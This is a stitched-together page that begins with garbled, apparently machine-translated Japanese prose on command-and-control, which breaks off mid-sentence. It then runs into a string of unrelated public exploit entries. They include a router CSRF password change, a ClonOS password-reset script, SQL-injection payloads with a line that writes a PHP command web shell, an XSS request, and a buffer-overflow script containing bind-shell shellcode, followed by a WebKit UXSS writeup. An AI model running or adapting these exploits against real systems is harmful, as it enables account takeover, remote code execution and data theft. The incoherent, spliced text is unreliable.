コマンドとコントロール(C2):リモートコントロールとインプラントエンタープライズのネットワーク環境に脅威が根付いたら、次のタスクはLao Niaoに電話して指示を待つことです。追加のコンポーネントをダウンロードする場合があり、CCチャネルを介してボットネットマスターに連絡する可能性が高くなります。いずれにせよ、これにはネットワークトラフィックが必要です。つまり、企業は自問する必要があります。ファイアウォールは、ネットワーク通信のための新しいプロジェクトのアラートを設定しますか?

脅威がこれらを実装した場合、それは機械に変更を加え、ITワーカーに多くのエネルギーを消費します。一部の企業または業界では、影響を受ける機械のデータが盗まれたり改ざんされたりした診断が必要です。影響を受けるマシンを掃除またはリセットする必要があります。データがバックアップされている場合、またはマシンに迅速にロードできる標準的なエンタープライズモデルがある場合、修理作業のコストと時間の損失が削減されます。

一部の攻撃は別のパスを取るでしょう

昨年の攻撃状況は完全に証明されました。攻撃者は、ステップをスキップしたり、手順を追加したり、前の手順を繰り返すこともできます。最近最も破壊的なもののいくつか

Exploit Title: Intelbras Router WRN150 1.0.18 - Cross-Site Request Forgery
Date: 2019-10-25
Exploit Author: Prof. Joas Antonio
Vendor Homepage: https://www.intelbras.com/pt-br/
Software Link: http://en.intelbras.com.br/node/25896
Version: 1.0.18
Tested on: Windows
CVE : N/A

####################
# PoC1: https://www.youtube.com/watch?v=V188HHDMbGM&feature=youtu.be

<html>
  <body>
    <form action="http://10.0.0.1/goform/SysToolChangePwd" method="POST">
	<input type="hidden" name="GO" value="system_password.asp">
	<input type="hidden" name="SYSPSC" value="0">
      	<input class="text" type="password" name="SYSOPS" value="hack123"/> 
	<input class="text" type="password" name="SYSPS" value="mrrobot"/> 
	<input class="text" type="password" name="SYSPS2" value="mrrobot"/> 
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>
            
# Exploit Title: ClonOs WEB UI 19.09 - Improper Access Control
# Date: 2019-10-19
# Exploit Author: İbrahim Hakan Şeker
# Vendor Homepage: https://clonos.tekroutine.com/
# Software Link: https://github.com/clonos/control-pane
# Version: 19.09
# Tested on: ClonOs
# CVE : 2019-18418


import requests
from bs4 import BeautifulSoup
import sys

def getUser(host):
    reg=r'\"'
    r1 = requests.post(host+"/json.php",data={"mode":"getJsonPage","path":"/users/","hash":"","db_path":""},headers={"X-Requested-With":"XMLHttpRequest"})
    r1_source = BeautifulSoup(r1.content,"lxml")
    for k in r1_source.findAll("tr"):
        for i in k.findAll("td")[0]:
            print(f"[+]User Found: {i}  User id: {k.get('id').replace(reg,'')}")
def changePassword(host,user,password,id):
    data={
        "mode":"usersEdit",
        "path":"/users/",
        "hash":"",
        "db_path":"",
        "form_data[username]":f"{user}",
        "form_data[password]":f"{password}",
        "form_data[password1]":f"{password}",
        "form_data[first_name]":"",
        "form_data[last_name]":"",
        "form_data[actuser]":"on",
        "form_data[user_id]": int(id)
        }
    r2=requests.post(host,data=data,headers={"X-Requested-With":"XMLHttpRequest"})
    if r2.status_code==200:print("[+]OK")
    else:print("[-]Fail")
if __name__=="__main__":
    if len(sys.argv)>1:
        if "getUser" in sys.argv[1]:getUser(sys.argv[2])
        elif "changePassword" in sys.argv[1]:changePassword(sys.argv[2],sys.argv[3],sys.argv[4],sys.argv[5])
        else:print("Fail parameter")
    else:print("Usage: exploit.py getUser [http://ip_adres]\nexploit.py changePassword [http://ip_adres] [username] [new_password] [user_id]")
            
# Exploit Title: Part-DB 0.4 - Authentication Bypass
# Date: 2019-10-26
# Author: Marvoloo
# Vendor Homepage: https://github.com/Part-DB/Part-DB/
# Software Link: https://github.com/Part-DB/Part-DB/archive/master.zip
# Version: 0.4
# Tested on: Linux
# CVE : N/A

# Discription:
# Easy authentication bypass vulnerability on the application 
# allowing the attacker to login

# url: http://localhost/login.php
# Parameter & Payload: 

'=''or'

#vulnerable file: login.php Line: 29,30 

#POC
POST /login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
Cookie: ....
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1
            
Exploit Title: waldronmatt FullCalendar-BS4-PHP-MySQL-JSON 1.21 - 'start' SQL Injection
Date: 2019-10-28
Exploit Author: Cakes
Vendor Homepage: waldronmatt/FullCalendar-BS4-PHP-MySQL-JSON
Software Link: https://github.com/waldronmatt/FullCalendar-BS4-PHP-MySQL-JSON.git
Version: 1.21
Tested on: CentOS7
CVE : N/A

# PoC: Multiple SQL Injection vulnerabilities

Parameter: start (POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: title=Test&description=Test&color=#0071c5&start=2019-01-23 00:00:00' RLIKE (SELECT (CASE WHEN (3201=3201) THEN 0x323031392d30312d32332030303a30303a3030 ELSE 0x28 END)) AND 'ScZt'='ScZt&end=2019-01-24 00:00:00
    Vector: RLIKE (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 0x28 END))

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: title=Test&description=Test&color=#0071c5&start=2019-01-23 00:00:00' AND (SELECT 6693 FROM(SELECT COUNT(*),CONCAT(0x71626b6a71,(SELECT (ELT(6693=6693,1))),0x7178767671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'oFHi'='oFHi&end=2019-01-24 00:00:00
    Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: title=Test&description=Test&color=#0071c5&start=2019-01-23 00:00:00' AND (SELECT 6752 FROM (SELECT(SLEEP(5)))ImfQ) AND 'EAnH'='EAnH&end=2019-01-24 00:00:00
    Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

Parameter: end (POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: title=Test&description=Test&color=#0071c5&start=2019-01-23 00:00:00&end=2019-01-24 00:00:00' RLIKE (SELECT (CASE WHEN (4825=4825) THEN 0x323031392d30312d32342030303a30303a3030 ELSE 0x28 END)) AND 'xqhi'='xqhi
    Vector: RLIKE (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 0x28 END))

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: title=Test&description=Test&color=#0071c5&start=2019-01-23 00:00:00&end=2019-01-24 00:00:00' AND (SELECT 4638 FROM(SELECT COUNT(*),CONCAT(0x71626b6a71,(SELECT (ELT(4638=4638,1))),0x7178767671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'OvvR'='OvvR
    Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: title=Test&description=Test&color=#0071c5&start=2019-01-23 00:00:00&end=2019-01-24 00:00:00' AND (SELECT 6750 FROM (SELECT(SLEEP(5)))gPYF) AND 'Xhni'='Xhni
    Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

Parameter: title (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: title=Test'||(SELECT 0x68506d50 FROM DUAL WHERE 9657=9657 AND 5501=5501)||'&description=Test&color=#0071c5&start=2019-01-23 00:00:00&end=2019-01-24 00:00:00
    Vector: AND [INFERENCE]

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: title=Test'||(SELECT 0x684f4b6d FROM DUAL WHERE 1515=1515 AND (SELECT 6271 FROM(SELECT COUNT(*),CONCAT(0x71626b6a71,(SELECT (ELT(6271=6271,1))),0x7178767671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'&description=Test&color=#0071c5&start=2019-01-23 00:00:00&end=2019-01-24 00:00:00
    Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: title=Test'||(SELECT 0x72417477 FROM DUAL WHERE 3543=3543 AND (SELECT 4482 FROM (SELECT(SLEEP(5)))AnGw))||'&description=Test&color=#0071c5&start=2019-01-23 00:00:00&end=2019-01-24 00:00:00
    Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

Parameter: description (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: title=Test&description=Test'||(SELECT 0x7570456a FROM DUAL WHERE 7753=7753 AND 5528=5528)||'&color=#0071c5&start=2019-01-23 00:00:00&end=2019-01-24 00:00:00
    Vector: AND [INFERENCE]

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: title=Test&description=Test'||(SELECT 0x4f6d6f41 FROM DUAL WHERE 6915=6915 AND (SELECT 9677 FROM(SELECT COUNT(*),CONCAT(0x71626b6a71,(SELECT (ELT(9677=9677,1))),0x7178767671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'&color=#0071c5&start=2019-01-23 00:00:00&end=2019-01-24 00:00:00
    Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: title=Test&description=Test'||(SELECT 0x6a424e63 FROM DUAL WHERE 6961=6961 AND (SELECT 9467 FROM (SELECT(SLEEP(5)))jHfq))||'&color=#0071c5&start=2019-01-23 00:00:00&end=2019-01-24 00:00:00
    Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

Parameter: color (POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: title=Test&description=Test&color=#0071c5' RLIKE (SELECT (CASE WHEN (2320=2320) THEN 0x23303037316335 ELSE 0x28 END)) AND 'XfIW'='XfIW&start=2019-01-23 00:00:00&end=2019-01-24 00:00:00
    Vector: RLIKE (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 0x28 END))

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: title=Test&description=Test&color=#0071c5' OR (SELECT 2035 FROM(SELECT COUNT(*),CONCAT(0x71626b6a71,(SELECT (ELT(2035=2035,1))),0x7178767671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'nWLO'='nWLO&start=2019-01-23 00:00:00&end=2019-01-24 00:00:00
    Vector: OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind (query SLEEP)
    Payload: title=Test&description=Test&color=#0071c5' OR (SELECT 7165 FROM (SELECT(SLEEP(5)))kngP) AND 'oklj'='oklj&start=2019-01-23 00:00:00&end=2019-01-24 00:00:00
    Vector: OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
            
# Exploit Title: JumpStart 0.6.0.0 - 'jswpbapi' Unquoted Service Path
# Google Dork: N/A
# Date: 2019-09-09
# Exploit Author: Roberto Escamilla
# Vendor Homepage:https://www.inforprograma.net/
# Software Link: https://www.inforprograma.net/
# Version:  = 0.6.0.0 wpspin.exe
# Tested on: Windows 10 Home
# CVE : N/A

###############STEPS##########################

# 1.- Install the JumpStart application on Windows 10 Home Operating System
# 2.- Open our "System Symbol" application.
# 3.- Execute the command -------wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
# 4.- The following will appear in a list: JumpStart Push-Button Service      jswpbapi     C:\Program Files (x86)\Jumpstart\jswpbapi.exe
# 5.- We proceed to verify the process using the command icacls, with which we verify the protection of the directory as shown below:

NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administradores:(I)(F)
BUILTIN\Usuarios:(I)(RX)
ENTIDAD DE PAQUETES DE APLICACIONES\TODOS LOS PAQUETES DE APLICACIONES:(I)(RX)
ENTIDAD DE PAQUETES DE APLICACIONES\TODOS LOS PAQUETES DE APLICACIÓN RESTRINGIDOS:(I)(RX)

# 6.- Finally we verify using the command sc qc jswpbapi the protection of the service in which we observe that it is scalable in privileges 
# since the route contains spaces without being in quotes and is in CONTROL_ERROR normal and NOMBRE_INICIO_SERVICIO: 
# LocalSystem as it's shown in the following [SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: jswpbapi
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Jumpstart\jswpbapi.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : JumpStart Push-Button Service
        DEPENDENCIAS       : RPCSS
        NOMBRE_INICIO_SERVICIO: LocalSystem
            
Exploit Title: waldronmatt FullCalendar-BS4-PHP-MySQL-JSON 1.21 - 'description' Cross-Site Scripting
Date: 2019-10-28
Exploit Author: Cakes
Vendor Homepage: waldronmatt/FullCalendar-BS4-PHP-MySQL-JSON
Software Link: https://github.com/waldronmatt/FullCalendar-BS4-PHP-MySQL-JSON.git
Version: 1.21
Tested on: CentOS7
CVE : N/A

# Description:
# Cross-Site scripting vulnerability in the description field. This XSS completely breaks the web application.

#POC
POST /addEvent.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.0.0.20/calendar03/
Content-Type: application/x-www-form-urlencoded
Content-Length: 213
Cookie: PHPSESSID=t41kk4huqaluhcfghvqqvucl56
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1

title=%3Cscript%3Ealert%28%22TEST-Title%22%29%3B%3C%2Fscript%3E&description=%3Cscript%3Ealert%28%22TEST-Description%22%29%3B%3C%2Fscript%3E&color=%230071c5&start=2019-01-23+00%3A00%3A00&end=2019-01-24+00%3A00%3A00
            
# Exploit Title: ChaosPro 2.0 - Buffer Overflow (SEH)
# Date: 2019-10-27
# Exploit Author: Chase Hatch (SYANiDE)
# Vendor Homepage: http://www.chaospro.de/
# Software link: http://www.chaospro.de/cpro20.zip
# Version: 2.0
# Tested on: Windows XP Pro OEM

#!/usr/bin/env python2
import os, sys


# sploit = "A"* 5000  ## Crash! 41414141 in SEH! via ProfilePath or PicturePath.  Windows XP OEM
# `locate pattern_create.rb | head -n 1` 5000  #  326d4431
# `locate pattern_offset.rb | head -n 1` 326d4431 5000  #  2705
# sploit = "A" * (2705 -  4 - 126)  # 2575
# sploit = (pattern_create) # `locate pattern_create.rb|head -n 1` 2575 # 0012F51C dump is 61354161, or 61413561 in LE
# `locate pattern_offset.rb|head -n 1` 61413561 2575
# 16


################ Second stage ####################
sploit = "A"*16
#  msfvenom -p windows/shell_bind_tcp LPORT=4444 EXITFUNC=seh 
#, BufferRegister=ESP -b "\x00" -e x86/alpha_mixed -i 1 -f c
sploit += (
"\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b"
"\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58"
"\x50\x38\x41\x42\x75\x4a\x49\x69\x6c\x6b\x58\x6e\x62\x77\x70"
"\x75\x50\x57\x70\x71\x70\x6c\x49\x68\x65\x44\x71\x4b\x70\x50"
"\x64\x4e\x6b\x52\x70\x36\x50\x4c\x4b\x36\x32\x66\x6c\x4e\x6b"
"\x62\x72\x54\x54\x6e\x6b\x72\x52\x34\x68\x54\x4f\x6d\x67\x50"
"\x4a\x31\x36\x30\x31\x6b\x4f\x6c\x6c\x55\x6c\x71\x71\x31\x6c"
"\x53\x32\x76\x4c\x67\x50\x7a\x61\x48\x4f\x56\x6d\x33\x31\x6b"
"\x77\x58\x62\x4a\x52\x61\x42\x56\x37\x6e\x6b\x52\x72\x52\x30"
"\x4c\x4b\x71\x5a\x37\x4c\x4e\x6b\x32\x6c\x52\x31\x50\x78\x4b"
"\x53\x37\x38\x75\x51\x68\x51\x62\x71\x4c\x4b\x46\x39\x45\x70"
"\x53\x31\x68\x53\x4c\x4b\x51\x59\x64\x58\x4b\x53\x64\x7a\x63"
"\x79\x6c\x4b\x34\x74\x4c\x4b\x33\x31\x6b\x66\x36\x51\x49\x6f"
"\x6c\x6c\x7a\x61\x58\x4f\x64\x4d\x67\x71\x68\x47\x70\x38\x4b"
"\x50\x64\x35\x68\x76\x54\x43\x43\x4d\x58\x78\x67\x4b\x33\x4d"
"\x56\x44\x72\x55\x79\x74\x43\x68\x4c\x4b\x50\x58\x46\x44\x77"
"\x71\x58\x53\x65\x36\x4e\x6b\x44\x4c\x62\x6b\x4c\x4b\x32\x78"
"\x45\x4c\x33\x31\x6a\x73\x6c\x4b\x53\x34\x6e\x6b\x46\x61\x7a"
"\x70\x4b\x39\x72\x64\x57\x54\x61\x34\x51\x4b\x51\x4b\x35\x31"
"\x31\x49\x71\x4a\x32\x71\x69\x6f\x69\x70\x73\x6f\x61\x4f\x52"
"\x7a\x4c\x4b\x65\x42\x4a\x4b\x6e\x6d\x53\x6d\x65\x38\x75\x63"
"\x35\x62\x67\x70\x45\x50\x51\x78\x70\x77\x71\x63\x55\x62\x43"
"\x6f\x31\x44\x45\x38\x52\x6c\x43\x47\x65\x76\x43\x37\x49\x6f"
"\x58\x55\x68\x38\x6c\x50\x43\x31\x67\x70\x73\x30\x55\x79\x6f"
"\x34\x53\x64\x66\x30\x61\x78\x37\x59\x6b\x30\x52\x4b\x73\x30"
"\x49\x6f\x39\x45\x52\x4a\x53\x38\x51\x49\x46\x30\x39\x72\x49"
"\x6d\x67\x30\x42\x70\x71\x50\x66\x30\x63\x58\x48\x6a\x44\x4f"
"\x39\x4f\x59\x70\x4b\x4f\x4b\x65\x4e\x77\x51\x78\x37\x72\x73"
"\x30\x47\x61\x43\x6c\x6c\x49\x38\x66\x72\x4a\x76\x70\x52\x76"
"\x42\x77\x33\x58\x4b\x72\x69\x4b\x47\x47\x35\x37\x69\x6f\x5a"
"\x75\x63\x67\x31\x78\x6f\x47\x59\x79\x50\x38\x79\x6f\x59\x6f"
"\x6e\x35\x71\x47\x42\x48\x50\x74\x68\x6c\x47\x4b\x39\x71\x6b"
"\x4f\x49\x45\x73\x67\x4e\x77\x31\x78\x50\x75\x72\x4e\x62\x6d"
"\x61\x71\x49\x6f\x58\x55\x65\x38\x51\x73\x70\x6d\x33\x54\x47"
"\x70\x6b\x39\x7a\x43\x73\x67\x72\x77\x53\x67\x45\x61\x6a\x56"
"\x30\x6a\x32\x32\x46\x39\x51\x46\x6d\x32\x4b\x4d\x62\x46\x58"
"\x47\x61\x54\x47\x54\x57\x4c\x36\x61\x53\x31\x6c\x4d\x50\x44"
"\x44\x64\x56\x70\x69\x56\x57\x70\x53\x74\x71\x44\x62\x70\x42"
"\x76\x51\x46\x76\x36\x77\x36\x56\x36\x42\x6e\x36\x36\x50\x56"
"\x30\x53\x42\x76\x42\x48\x42\x59\x58\x4c\x37\x4f\x4b\x36\x69"
"\x6f\x59\x45\x4b\x39\x6b\x50\x42\x6e\x62\x76\x47\x36\x59\x6f"
"\x54\x70\x62\x48\x56\x68\x6d\x57\x65\x4d\x31\x70\x59\x6f\x7a"
"\x75\x6d\x6b\x49\x6e\x66\x6e\x75\x62\x39\x7a\x71\x78\x6e\x46"
"\x4a\x35\x4d\x6d\x6d\x4d\x79\x6f\x38\x55\x65\x6c\x57\x76\x31"
"\x6c\x47\x7a\x4d\x50\x79\x6b\x59\x70\x52\x55\x63\x35\x6f\x4b"
"\x31\x57\x37\x63\x44\x32\x42\x4f\x70\x6a\x35\x50\x51\x43\x69"
"\x6f\x39\x45\x41\x41"
) # 710 bytes
sploit += "A" * (2575 - 16 - 710)


################ First stage ####################

# ESP: 0012E75C
# ESP target: 0012FF98
## Need to align to four-byte and 16-byte boundaries:
# echo "ibase=16; obase=A;scale=4; (0012FF98 - 0012E75C) /16" |bc
# 282.0000
# echo "ibase=16; obase=A;scale=4; (0012FF98 - 0012E75C) /4" |bc
# 1551.0000
# echo "ibase=16; obase=10; 0012FF98 - 0012E75C" |bc
# 183C
# 0012FF32   54               PUSH ESP
# 0012FF33   58               POP EAX
# 0012FF34   66:05 3C18       ADD AX,183C
# 0012FF38   50               PUSH EAX
# 0012FF39   5C               POP ESP
sploit += "\x54\x58\x66\x05\x3c\x18\x50\x5c" # 8


# target instruction to push onto stack at new ESP:  FFE4 JMP ESP # 4141E4FF
# ./calc_target2.py 4141E4FF 0 7f7f017f 0101017f 3e3e1803
#    0:	25 28 28 28 28       	and    eax,0x28282828
#    5:	25 47 47 47 47       	and    eax,0x47474747
#    a:	2d 7f 01 7f 7f       	sub    eax,0x7f7f017f
#    f:	2d 7f 01 01 01       	sub    eax,0x101017f
#   14:	2d 03 18 3e 3e       	sub    eax,0x3e3e1803
#   19:	50                   	push   eax
sploit += (
	"\x25\x28\x28\x28\x28"
	"\x25\x47\x47\x47\x47"
	"\x2d\x7f\x01\x7f\x7f"
	"\x2d\x7f\x01\x01\x01"
	"\x2d\x03\x18\x3e\x3e"
	"\x50"
) # 26 bytes

## Realign new ESP with beginning of overflow buffer:
## New ESP should be four-byte and 16-byte aligned:
# echo "ibase=16; obase=A;scale=4; (0012FF98 - 0012F51C) / 16" |bc
# 122.0000
# echo "ibase=16; obase=A;scale=4; (0012FF98 - 0012F51C) / 4" |bc
# 671.0000
# echo "ibase=16; obase=10;0012FF98 - 0012F51C" |bc
# A7C
## Need to adjust ESP down the stack past the JMP ESP, so push/pop ahead of the JMP ESP we're trying to sled into (keep the sled clean)
# 0012FF54   44               INC ESP
# 0012FF55   44               INC ESP
# 0012FF56   44               INC ESP
# 0012FF57   44               INC ESP
# 0012FF58   44               INC ESP
# 0012FF59   44               INC ESP
# 0012FF5A   44               INC ESP
# 0012FF5B   44               INC ESP
sploit += "\x44\x44\x44\x44\x44\x44\x44\x44" # 8

## Going to have to carve out the address 0012F51C
# ./calc_target2.py 0012F51C 0 7f7f017f 61010101 1f6d0864
#   0:	25 02 02 02 02       	and    eax,0x2020202
#   5:	25 51 51 51 51       	and    eax,0x51515151
#   a:	2d 7f 01 7f 7f       	sub    eax,0x7f7f017f
#   f:	2d 01 01 01 61       	sub    eax,0x61010101
#  14:	2d 64 08 6d 1f       	sub    eax,0x1f6d0864
#  19:	50                   	push   eax
sploit +=(
	"\x25\x02\x02\x02\x02"
	"\x25\x51\x51\x51\x51"
	"\x2d\x7f\x01\x7f\x7f"
	"\x2d\x01\x01\x01\x61"
	"\x2d\x64\x08\x6d\x1f"
	"\x50"
) # 26 bytes

## Finally, set ESP for the alpha_mixed BufferRegister + JMP ESP
# 5C   POP ESP
sploit += "\x5c" # 1

sploit += "A" * (126 - 8 - 26 - 8 - 26 - 1)

################ RET from SEH: JMP SHORT - 126 ####################

sploit += "\xeb\x80" + "\x41\x41" # 4
# 00401B44  |. 5F             POP EDI
# 00401B45  |> 5E             POP ESI
# 00401B46  \. C3             RETN
sploit += "\x44\x1b\x40\x00"


################ build the config ####################
## Running from just outside base directory of ChaosPro:

def ret_cfg(inp):
	# do it live in PicturePath
	cfg = """PicturePath %s""" % inp
	with open("chaospro\\ChaosPro.cfg",'w') as F:
		F.write(cfg)
		F.close()

ret_cfg(sploit)
            
Exploit Title: delpino73 Blue-Smiley-Organizer 1.32 - 'datetime' SQL Injection
Date: 2019-10-28
Exploit Author: Cakes
Vendor Homepage: https://github.com/delpino73/Blue-Smiley-Organizer
Software Link: https://github.com/delpino73/Blue-Smiley-Organizer.git
Version: 1.32
Tested on: CentOS7
CVE : N/A

# PoC: Multiple SQL Injection vulnerabilities
# Nice and easy SQL Injection
    
Parameter: datetime (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: datetime=2019-10-27 10:53:00' AND 6315=(SELECT (CASE WHEN (6315=6315) THEN 6315 ELSE (SELECT 3012 UNION SELECT 2464) END))-- sQtq&title=tester&category_id=1&new_category=&text=test2&public=1&save=Save Note
    Vector: AND [RANDNUM]=(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))[GENERIC_SQL_COMMENT]

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: datetime=2019-10-27 10:53:00' AND (SELECT 7239 FROM (SELECT(SLEEP(5)))wrOx)-- cDKQ&title=tester&category_id=1&new_category=&text=test2&public=1&save=Save Note
    Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])    
  
  
# Pop a PHP CMD Shell
  
' LIMIT 0,1 INTO OUTFILE '/Path/To/Folder/upload/exec.php' LINES TERMINATED BY 0x3c3f7068702024636d64203d207368656c6c5f6578656328245f4745545b27636d64275d293b206563686f2024636d643b203f3e-- -
            
VULNERABILITY DETAILS
HTMLFrameElementBase.cpp:
```
bool HTMLFrameElementBase::isURLAllowed() const
{
    if (m_URL.isEmpty()) // ***4***
        return true;

    return isURLAllowed(document().completeURL(m_URL));
}

bool HTMLFrameElementBase::isURLAllowed(const URL& completeURL) const
{
    if (document().page() && document().page()->subframeCount() >= Page::maxNumberOfFrames) // ***3***
        return false;

    if (completeURL.isEmpty())
        return true;

    if (WTF::protocolIsJavaScript(completeURL)) {
        RefPtr<Document> contentDoc = this->contentDocument();
        if (contentDoc && !ScriptController::canAccessFromCurrentOrigin(contentDoc->frame(), document()))
            return false;
    }

    RefPtr<Frame> parentFrame = document().frame();
    if (parentFrame)
        return parentFrame->isURLAllowed(completeURL);

    return true;
}

void HTMLFrameElementBase::openURL(LockHistory lockHistory, LockBackForwardList lockBackForwardList)
{
    if (!isURLAllowed())
        return;

[...]

    parentFrame->loader().subframeLoader().requestFrame(*this, m_URL, frameName, lockHistory, lockBackForwardList);
```

NodeRarData.h:
```
class NodeRareData : public NodeRareDataBase {
[...]
private:
    unsigned m_connectedFrameCount : 10; // Must fit Page::maxNumberOfFrames. ***1***
```

Page.h:
```
class Page : public Supplementable<Page>, public CanMakeWeakPtr<Page> {
[...]
    // Don't allow more than a certain number of frames in a page.
    // This seems like a reasonable upper bound, and otherwise mutually
    // recursive frameset pages can quickly bring the program to its knees
    // with exponential growth in the number of frames.
    static const int maxNumberOfFrames = 1000; // ***2***
```

Every DOM node stores the number of child frames currently attached to the subtree to speed up the
`disconnectSubframes` algorithm; more specifically, when the number of connected frames for a given
node is zero, its subtree won't be traversed. The value is stored as a 10-bit integer[1], so, to
protect it from overflowing, an upper bound for the total count of attached subframes has been
introduced[2]. It's enforced inside `isURLAllowed`[3] along with some other URL-specific checks. The
problem is if the current URL is empty, all the checks will be skipped[4].

Therefore, an attacker can insert exactly 1024 frame elements with an empty URL into a node, so its
connected subframe counter will overflow and become zero. Later, when the node is removed from the
document tree, the subframes won't be detached.

The attacker can also abuse the flaw to make a subframe "survive" a cross-origin page load because
`disconnectDescendantFrames`, which is called during the document replacement, only processes   
`iframe` elements inside the document tree. Then, if the subframe is navigated to the `about:srcdoc`
URL, the new document will inherit the security context from its parent document, which can be an
arbitrary cross-origin page, while the contents will be attacker-controlled.

Moving the check closer to the actual frame creation in `SubframeLoader::loadSubframe` should fix
the issue. Besides, since the `srcdoc` technique can be reused in other UXSS bugs, I think it's
reasonable to try to break it. One way to achieve that is to replace the
`disconnectDescendantFrames` call in `Document::prepareForDestruction` with a call to
